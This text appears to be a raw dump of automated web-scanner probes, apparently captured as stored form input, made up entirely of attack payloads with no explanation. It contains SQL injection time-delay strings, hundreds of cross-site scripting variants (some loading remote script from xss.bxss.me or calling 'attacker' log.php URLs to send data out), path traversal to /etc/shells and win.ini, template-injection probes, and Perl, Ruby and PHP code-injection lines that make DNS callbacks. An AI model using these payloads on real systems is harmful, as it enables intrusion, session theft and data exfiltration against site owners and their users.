555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555<esi:include src="http://bxss.me/rpb.png"/>

555'"

555

555

555

dfb__${98991*97996}__::.x

555\xc0\xa7\xc0\xa2%2527%2522\'\"

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

@@tWA2M

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&n970507=v974282

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555

555

Http://bxss.me/t/fit.txt

555<ScRiPt >0fPF(9110)</ScRiPt>

555

555

http://bxss.me/t/fit.txt?.jpg

555

555<ScRiPt >uUmg(9691)</ScRiPt>

555

)

555

/etc/shells

!(()&&!|*|*|

555

555<WTQWMY>BN5WH[!+!]</WTQWMY>

555

555<WOXZSD>DOA1Z[!+!]</WOXZSD>

../../../../../../../../../../../../../../etc/shells

^(#$!@#$)(()))******

555

c:/windows/win.ini

555

555

555<script>0fPF(9991)</script>

555

555<script>uUmg(9460)</script>

555

555

bxss.me

555

555

555<script>0fPF(9518)</script>9518

555

555

555<script>uUmg(9311)</script>9311

'.gethostbyname(lc('hitcq'.'egtuiytn2d653.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(90).chr(113).chr(86).'

".gethostbyname(lc("hitzs"."txubongu06148.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(65).chr(119).chr(81)."

555

555

555

555<ScR<ScRiPt>IpT>0fPF(9356)</sCr<ScRiPt>IpT>

gethostbyname(lc('hitst'.'pfsabpacf6286.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(90).chr(121).chr(78)

555<ScR<ScRiPt>IpT>uUmg(9394)</sCr<ScRiPt>IpT>

555

555

555

'"()

555

555

555

555<ScRiPt >uUmg(9076)</ScRiPt>

555<ScRiPt >0fPF(9745)</ScRiPt>

555

555

555'&&sleep(27*1000)*tuexgr&&'

555

555"&&sleep(27*1000)*kuioux&&"

555

555

555

555'||sleep(27*1000)*aiuwhv||'

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9961></ScRiPt>

555

555"||sleep(27*1000)*zhefkf||"

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9126></ScRiPt>

'

555

"

555

555<ScRiPt >uUmg(9990)</ScRiPt>

555

HttP://bxss.me/t/xss.html?%00

${@print(md5(31337))}

555

555<ScRiPt >0fPF(9778)</ScRiPt>

${@print(md5(31337))}\

555

555

bxss.me/t/xss.html?%00

555<svg  \xa0onload=uUmg(9619)

555

555

'.print(md5(31337)).'

555

555<svg  \xa0onload=0fPF(9459)

555

555<isindex type=image src=1 onerror=uUmg(9815)>

555

555

555

"+"A".concat(70-3).concat(22*4).concat(106).concat(76).concat(102).concat(85)+(require"socket" Socket.gethostbyname("hitvh"+"rarhbhdf708e2.bxss.me.")[3].to_s)+"

555

555<iframe src='data:text/html

555

555

'+'A'.concat(70-3).concat(22*4).concat(115).concat(80).concat(117).concat(70)+(require'socket' Socket.gethostbyname('hitez'+'djmeonelcd223.bxss.me.')[3].to_s)+'

555<isindex type=image src=1 onerror=0fPF(9274)>

555

555

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

comments

555

'A'.concat(70-3).concat(22*4).concat(118).concat(67).concat(114).concat(65)+(require'socket' Socket.gethostbyname('hitqj'+'khuvflpk0753b.bxss.me.')[3].to_s)

555

comments

555<body onload=uUmg(9271)>

555

555

555

555

555

555<iframe src='data:text/html

555

'"

comments/.

<!--

555<img src=//xss.bxss.me/t/dot.gif onload=uUmg(9292)>

xfs.bxss.me

555'"()&%<zzz><ScRiPt >w7Rs(9477)</ScRiPt>

555

'"()&%<zzz><ScRiPt >w7Rs(9917)</ScRiPt>

555<body onload=0fPF(9208)>

555

555

555

555

555

5559072963

555<img src=xyz OnErRor=uUmg(9395)>

555<img src=//xss.bxss.me/t/dot.gif onload=0fPF(9495)>

555

555

555

555<img/src=">" onerror=alert(9258)>

555<img src=xyz OnErRor=0fPF(9038)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%75%55%6D%67%289773%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\uUmg(9815)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9085)>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%30%66%50%46%289977%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\0fPF(9973)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=uUmg(99111) //\xf6>

555&lt

555<input autofocus onfocus=uUmg(9152)>

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=0fPF(92981) //\xf6>

555<input autofocus onfocus=0fPF(9653)>

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >W6nB(9252)</ScRiPt>

555'"()&%<zzz><ScRiPt >luP1(9100)</ScRiPt>

'"()&%<zzz><ScRiPt >W6nB(9360)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555}body{zzz:Expre/**/SSion(uUmg(9505))}

'"()&%<zzz><ScRiPt >luP1(9082)</ScRiPt>

5559735263

555WKLF3 <ScRiPt >uUmg(9954)</ScRiPt>

5559155053

bfg3149\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3149

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >GeVG(9633)</ScRiPt>

bfg1114\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1114

bfgx1145\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1145

555<WS9XTA>N0MUK[!+!]</WS9XTA>

'"()&%<zzz><ScRiPt >GeVG(9988)</ScRiPt>

555}body{zzz:Expre/**/SSion(0fPF(9613))}

<%={{={@{#{${dfb}}%>

5559757626

555<ifRAme sRc=9317.com></IfRamE>

555Wam4Y <ScRiPt >0fPF(9920)</ScRiPt>

bfg9154\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9154

555<anaHPZA x=9329>

bfgx6941\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6941

bfgx10373\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10373

555<img sRc='http://attacker-9715/log.php?

555<WWPCV4>ONLID[!+!]</WWPCV4>

555

<%={{={@{#{${dfb}}%>

555<aVih0Vf<

555<ifRAme sRc=9964.com></IfRamE>

555<aJ7HGUD x=9487>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555

555<img sRc='http://attacker-9747/log.php?

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555<agssWAh<

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >GeVG(9416)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<W5W2OI>URFAK[!+!]</W5W2OI>

dfb{{98991*97996}}xca

555<script>GeVG(9986)</script>

555<ScRiPt >W6nB(9250)</ScRiPt>

555<WU9OFR>ZVLHK[!+!]</WU9OFR>

555<script>GeVG(9685)</script>9685

dfb[[${98991*97996}]]xca

555<script>W6nB(9436)</script>

555<ScR<ScRiPt>IpT>GeVG(9329)</sCr<ScRiPt>IpT>

dfb__${98991*97996}__::.x

555<script>W6nB(9463)</script>9463

555<ScRiPt >GeVG(9935)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9857></ScRiPt>

555<ScR<ScRiPt>IpT>W6nB(9840)</sCr<ScRiPt>IpT>

555<ScRiPt >GeVG(9355)</ScRiPt>

555<ScRiPt >luP1(9055)</ScRiPt>

555<ScRiPt >W6nB(9674)</ScRiPt>

555<svg  \xa0onload=GeVG(9092)

555<WBUEZS>IAPSI[!+!]</WBUEZS>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9751></ScRiPt>

555<isindex type=image src=1 onerror=GeVG(9776)>

555<script>luP1(9767)</script>

555<ScRiPt >W6nB(9669)</ScRiPt>

555<iframe src='data:text/html

555'"()&%<zzz><ScRiPt >I3vt(9471)</ScRiPt>

555<svg  \xa0onload=W6nB(9386)

555<script>luP1(9219)</script>9219

'"()&%<zzz><ScRiPt >I3vt(9517)</ScRiPt>

555<isindex type=image src=1 onerror=W6nB(9329)>

555<body onload=GeVG(9967)>

555<ScR<ScRiPt>IpT>luP1(9757)</sCr<ScRiPt>IpT>

5559931549

555<img src=//xss.bxss.me/t/dot.gif onload=GeVG(9321)>

555'"()&%<zzz><ScRiPt >0EjK(9530)</ScRiPt>

555<iframe src='data:text/html

bfg6999\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6999

555<img src=xyz OnErRor=GeVG(9591)>

555<ScRiPt >luP1(9552)</ScRiPt>

'"()&%<zzz><ScRiPt >0EjK(9918)</ScRiPt>

555<body onload=W6nB(9346)>

555<img/src=">" onerror=alert(9791)>

5559363638

bfgx1708\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1708

555<img src=//xss.bxss.me/t/dot.gif onload=W6nB(9018)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9233></ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%47%65%56%47%289157%29%3C%2F%73%43%72%69%70%54%3E

bfg5944\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5944

555<ScRiPt >luP1(9505)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=luP1(9694)

555<img src=xyz OnErRor=W6nB(9781)>

555\u003CScRiPt\GeVG(9864)\u003C/sCripT\u003E

bfgx9282\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9282

555<isindex type=image src=1 onerror=luP1(9788)>

555<img/src=">" onerror=alert(9551)>

555

555'"()&%<zzz><ScRiPt >D9dB(9091)</ScRiPt>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%57%36%6E%42%289005%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >D9dB(9858)</ScRiPt>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

5559971521

\xf6<img zzz onmouseover=GeVG(97561) //\xf6>

555<iframe src='data:text/html

555

555

555<body onload=luP1(9502)>

555\u003CScRiPt\W6nB(9406)\u003C/sCripT\u003E

bfg1576\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1576

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<input autofocus onfocus=GeVG(9434)>

bfgx8197\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8197

555<img src=//xss.bxss.me/t/dot.gif onload=luP1(9629)>

555

555&lt

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=luP1(9270)>

555

<a HrEF=jaVaScRiPT:>

555<img/src=">" onerror=alert(9717)>

\xf6<img zzz onmouseover=W6nB(94401) //\xf6>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555}body{zzz:Expre/**/SSion(GeVG(9164))}

555<input autofocus onfocus=W6nB(9532)>

5553GEy0 <ScRiPt >GeVG(9898)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%75%50%31%289464%29%3C%2F%73%43%72%69%70%54%3E

555

555'"()&%<zzz><ScRiPt >ef6L(9078)</ScRiPt>

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

<a HrEF=http://xss.bxss.me></a>

'"()&%<zzz><ScRiPt >ef6L(9298)</ScRiPt>

555'"()&%<zzz><ScRiPt >2dkz(9728)</ScRiPt>

555\u003CScRiPt\luP1(9590)\u003C/sCripT\u003E

555<WRI1IR>JLQ0B[!+!]</WRI1IR>

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

555

'"()&%<zzz><ScRiPt >2dkz(9096)</ScRiPt>

555<ifRAme sRc=9225.com></IfRamE>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

5559555944

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(W6nB(9870))}

555<aCprWD6 x=9014>

5559810147

5555VO2S <ScRiPt >W6nB(9065)</ScRiPt>

555<ScRiPt >I3vt(9327)</ScRiPt>

555&lt

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<img sRc='http://attacker-9834/log.php?

bfg5105\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5105

555<WFNVHK>BEI04[!+!]</WFNVHK>

bfg8395\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8395

555

555<WOQSRI>4W5PH[!+!]</WOQSRI>

555<aiBpxqH<

\xf6<img zzz onmouseover=luP1(94841) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>I3vt(9136)</script>

bfgx9829\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9829

bfgx7373\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7373

dfb{{98991*97996}}xca

555<script>I3vt(9871)</script>9871

555<input autofocus onfocus=luP1(9201)>

555<ifRAme sRc=9276.com></IfRamE>

<%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

555<akOJQZz x=9387>

555<ScR<ScRiPt>IpT>I3vt(9674)</sCr<ScRiPt>IpT>

555<ScRiPt >0EjK(9692)</ScRiPt>

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555<img sRc='http://attacker-9178/log.php?

555<ScRiPt >I3vt(9003)</ScRiPt>

555

555<W4UF58>N7VMJ[!+!]</W4UF58>

555

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

555<script>0EjK(9640)</script>

555<a9VRqnY<

<th:t="${dfb}#foreach

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9220></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(luP1(9980))}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<script>0EjK(9056)</script>9056

<th:t="${dfb}#foreach

555<ScRiPt >D9dB(9620)</ScRiPt>

dfb{{98991*97996}}xca

555<ScRiPt >I3vt(9523)</ScRiPt>

5550UH9W <ScRiPt >luP1(9418)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WABJ6K>PPC2B[!+!]</WABJ6K>

dfb[[${98991*97996}]]xca

555<ScR<ScRiPt>IpT>0EjK(9035)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=I3vt(9279)

555<W9LQYD>DDROE[!+!]</W9LQYD>

555

555<ScRiPt >0EjK(9928)</ScRiPt>

dfb__${98991*97996}__::.x

555<script>D9dB(9451)</script>

555<isindex type=image src=1 onerror=I3vt(9569)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9526></ScRiPt>

555<ifRAme sRc=9267.com></IfRamE>

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

555<a6xvEV1 x=9110>

555<ScRiPt >0EjK(9848)</ScRiPt>

555<script>D9dB(9610)</script>9610

555<ScRiPt >ef6L(9502)</ScRiPt>

555<body onload=I3vt(9378)>

555<img sRc='http://attacker-9832/log.php?

dfb[[${98991*97996}]]xca

555<ScR<ScRiPt>IpT>D9dB(9150)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=0EjK(9512)

555<WUBPXO>NXNUP[!+!]</WUBPXO>

555<img src=//xss.bxss.me/t/dot.gif onload=I3vt(9922)>

555<a2HXH0N<

555<img src=xyz OnErRor=I3vt(9795)>

dfb__${98991*97996}__::.x

555<isindex type=image src=1 onerror=0EjK(9073)>

555<script>ef6L(9499)</script>

555<ScRiPt >D9dB(9382)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9065)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9143></ScRiPt>

555<script>ef6L(9047)</script>9047

555<ScRiPt >2dkz(9976)</ScRiPt>

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%33%76%74%289942%29%3C%2F%73%43%72%69%70%54%3E

555<WCWR7Z>TN2XE[!+!]</WCWR7Z>

555<body onload=0EjK(9200)>

555<ScRiPt >D9dB(9181)</ScRiPt>

555<ScR<ScRiPt>IpT>ef6L(9383)</sCr<ScRiPt>IpT>

555<img src=//xss.bxss.me/t/dot.gif onload=0EjK(9303)>

555\u003CScRiPt\I3vt(9587)\u003C/sCripT\u003E

555'"()&%<zzz><ScRiPt >nQij(9797)</ScRiPt>

555<script>2dkz(9195)</script>

555<ScRiPt >ef6L(9188)</ScRiPt>

555<svg  \xa0onload=D9dB(9119)

555<script>2dkz(9029)</script>9029

555&lt

555<img src=xyz OnErRor=0EjK(9710)>

'"()&%<zzz><ScRiPt >nQij(9566)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9404></ScRiPt>

555<img/src=">" onerror=alert(9535)>

555<ScRiPt >ef6L(9332)</ScRiPt>

555<isindex type=image src=1 onerror=D9dB(9260)>

555<ScR<ScRiPt>IpT>2dkz(9515)</sCr<ScRiPt>IpT>

\xf6<img zzz onmouseover=I3vt(95641) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%30%45%6A%4B%289657%29%3C%2F%73%43%72%69%70%54%3E

5559883524

555<iframe src='data:text/html

555<ScRiPt >2dkz(9582)</ScRiPt>

555\u003CScRiPt\0EjK(9689)\u003C/sCripT\u003E

555<svg  \xa0onload=ef6L(9322)

555<input autofocus onfocus=I3vt(9919)>

555&lt

555<body onload=D9dB(9842)>

<a HrEF=http://xss.bxss.me></a>

bfg1395\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1395

555<isindex type=image src=1 onerror=ef6L(9619)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9335></ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=D9dB(9244)>

\xf6<img zzz onmouseover=0EjK(99891) //\xf6>

555<ScRiPt >2dkz(9418)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<iframe src='data:text/html

bfgx9642\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9642

555<svg  \xa0onload=2dkz(9795)

555<img src=xyz OnErRor=D9dB(9647)>

555<input autofocus onfocus=0EjK(9395)>

555}body{zzz:Expre/**/SSion(I3vt(9012))}

555<body onload=ef6L(9555)>

555<isindex type=image src=1 onerror=2dkz(9068)>

<%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >zbed(9499)</ScRiPt>

555<img/src=">" onerror=alert(9283)>

555Zn34r <ScRiPt >I3vt(9848)</ScRiPt>

555'"()&%<zzz><ScRiPt >ipZI(9981)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<img src=//xss.bxss.me/t/dot.gif onload=ef6L(9007)>

'"()&%<zzz><ScRiPt >zbed(9667)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%39%64%42%289641%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

<a HrEF=jaVaScRiPT:>

555

555<WDEIRG>CR5PL[!+!]</WDEIRG>

5559718976

'"()&%<zzz><ScRiPt >ipZI(9539)</ScRiPt>

555}body{zzz:Expre/**/SSion(0EjK(9277))}

555<img src=xyz OnErRor=ef6L(9693)>

<th:t="${dfb}#foreach

555\u003CScRiPt\D9dB(9421)\u003C/sCripT\u003E

555<body onload=2dkz(9920)>

5559367636

555<ifRAme sRc=9802.com></IfRamE>

bfg5515\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5515

555

bfg4199\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4199

555<img/src=">" onerror=alert(9531)>

555hHggV <ScRiPt >0EjK(9965)</ScRiPt>

555<arZDGYP x=9496>

bfgx2545\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2545

555&lt

555<img src=//xss.bxss.me/t/dot.gif onload=2dkz(9696)>

bfgx8582\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8582

555<img sRc='http://attacker-9443/log.php?

\xf6<img zzz onmouseover=D9dB(98771) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%66%36%4C%289862%29%3C%2F%73%43%72%69%70%54%3E

555<W3NN9G>6DT1T[!+!]</W3NN9G>

555<input autofocus onfocus=D9dB(9463)>

555<aMVK6Hh<

555<img src=xyz OnErRor=2dkz(9690)>

<%={{={@{#{${dfb}}%>

555

555

555<ifRAme sRc=9813.com></IfRamE>

555\u003CScRiPt\ef6L(9513)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

<a HrEF=http://xss.bxss.me></a>

555'"()&%<zzz><ScRiPt >4p0R(9662)</ScRiPt>

555<aN7ldEP x=9463>

555&lt

555

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9454)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%32%64%6B%7A%289676%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=ef6L(92111) //\xf6>

<a HrEF=jaVaScRiPT:>

'"()&%<zzz><ScRiPt >4p0R(9084)</ScRiPt>

<th:t="${dfb}#foreach

555<img sRc='http://attacker-9057/log.php?

555

dfb[[${98991*97996}]]xca

5559691460

555<input autofocus onfocus=ef6L(9139)>

555\u003CScRiPt\2dkz(9158)\u003C/sCripT\u003E

555&lt

555

555}body{zzz:Expre/**/SSion(D9dB(9702))}

bfg6025\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6025

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

555<a7DQgMd<

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=2dkz(95401) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >uikc(9466)</ScRiPt>

bfgx8004\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8004

<a HrEF=jaVaScRiPT:>

555<ScRiPt >nQij(9134)</ScRiPt>

555

555l7IY9 <ScRiPt >D9dB(9312)</ScRiPt>

'"()&%<zzz><ScRiPt >uikc(9305)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<input autofocus onfocus=2dkz(9758)>

5559297407

555}body{zzz:Expre/**/SSion(ef6L(9920))}

555

555<WUMPCL>HV7O4[!+!]</WUMPCL>

555

555<WBKLNJ>QYFHN[!+!]</WBKLNJ>

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

555<ifRAme sRc=9060.com></IfRamE>

bfg9006\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9006

<th:t="${dfb}#foreach

555LWLgN <ScRiPt >ef6L(9420)</ScRiPt>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555<WTHDXQ>Y9RIT[!+!]</WTHDXQ>

555

555<aEkfeJr x=9785>

555<script>nQij(9389)</script>

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(2dkz(9742))}

bfgx8520\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8520

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9197/log.php?

555<ifRAme sRc=9302.com></IfRamE>

555dNvG3 <ScRiPt >2dkz(9953)</ScRiPt>

555<script>nQij(9534)</script>9534

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<a2X46dt x=9875>

555<agoTqIz<

<%={{={@{#{${dfb}}%>

555

555<W5P16J>KXCGN[!+!]</W5P16J>

555<ScRiPt >zbed(9004)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >NzTn(9622)</ScRiPt>

555

"}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9615/log.php?

555<ScR<ScRiPt>IpT>nQij(9735)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9057.com></IfRamE>

'"()&%<zzz><ScRiPt >NzTn(9975)</ScRiPt>

<th:t="${dfb}#foreach

555<WKXDRH>KJG7P[!+!]</WKXDRH>

555<ScRiPt >nQij(9870)</ScRiPt>

555<aZTT75U<

"%}dfb{{98991*97996}}xca

555<aYsdoFu x=9260>

555<ScRiPt >ipZI(9385)</ScRiPt>

555

555<script>zbed(9818)</script>

555<W9MIBB>BILC0[!+!]</W9MIBB>

5559452653

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9909></ScRiPt>

"}dfb{98991*97996}xca

555<img sRc='http://attacker-9179/log.php?

555<script>zbed(9530)</script>9530

555<ScR<ScRiPt>IpT>zbed(9975)</sCr<ScRiPt>IpT>

555<script>ipZI(9875)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >nQij(9324)</ScRiPt>

bfg1930\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1930

"}dfb${98991*97996}xca

555<ScRiPt >zbed(9744)</ScRiPt>

555<apBBnyi<

555

555<svg  \xa0onload=nQij(9091)

555<script>ipZI(9143)</script>9143

bfgx2432\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2432

555<isindex type=image src=1 onerror=nQij(9380)>

"}dfb#{98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9681></ScRiPt>

555<ScR<ScRiPt>IpT>ipZI(9923)</sCr<ScRiPt>IpT>

555'"()&%<zzz><ScRiPt >hlQc(9334)</ScRiPt>

dfb{{98991*97996}}xca

555<ScRiPt >zbed(9189)</ScRiPt>

555<iframe src='data:text/html

"}dfb{#98991*97996}xca

555<ScRiPt >ipZI(9598)</ScRiPt>

<%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >hlQc(9303)</ScRiPt>

dfb[[${98991*97996}]]xca

555<body onload=nQij(9099)>

"}dfb{@98991*97996}xca

555<svg  \xa0onload=zbed(9594)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9556></ScRiPt>

555<isindex type=image src=1 onerror=zbed(9406)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=nQij(9524)>

5559539362

dfb__${98991*97996}__::.x

"}}dfb{{=98991*97996}}xca

555<iframe src='data:text/html

555<img src=xyz OnErRor=nQij(9993)>

bfg8605\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8605

")dfb@(98991*97996)xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<th:t="${dfb}#foreach

bfgx10850\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10850

555<ScRiPt >ipZI(9287)</ScRiPt>

"%>dfb<%=98991*97996%>xca

555<body onload=zbed(9732)>

555<ScRiPt >uikc(9567)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=ipZI(9955)

555

555<img/src=">" onerror=alert(9448)>

555

555<WEVLT8>6LPMF[!+!]</WEVLT8>

"}dfb#set($x=98991*97996)${x}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=zbed(9274)>

555<script>uikc(9040)</script>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6E%51%69%6A%289403%29%3C%2F%73%43%72%69%70%54%3E

<th:t="${dfb}#foreach

555

"}dfb{{"abc"|title}}xca

555

555<isindex type=image src=1 onerror=ipZI(9825)>

555<script>uikc(9079)</script>9079

"print("dfb" . 98991*97996 . "xca")

555<img src=xyz OnErRor=zbed(9174)>

555\u003CScRiPt\nQij(9431)\u003C/sCripT\u003E

555<iframe src='data:text/html

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"98991*97996*98991*97996

555<body onload=ipZI(9320)>

555<ScR<ScRiPt>IpT>uikc(9319)</sCr<ScRiPt>IpT>

555<img/src=">" onerror=alert(9800)>

555&lt

555

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >uikc(9307)</ScRiPt>

dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=ipZI(9947)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%62%65%64%289795%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9289></ScRiPt>

\xf6<img zzz onmouseover=nQij(91871) //\xf6>

"}}}dfb{{{this}}}xca

555<img src=xyz OnErRor=ipZI(9670)>

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

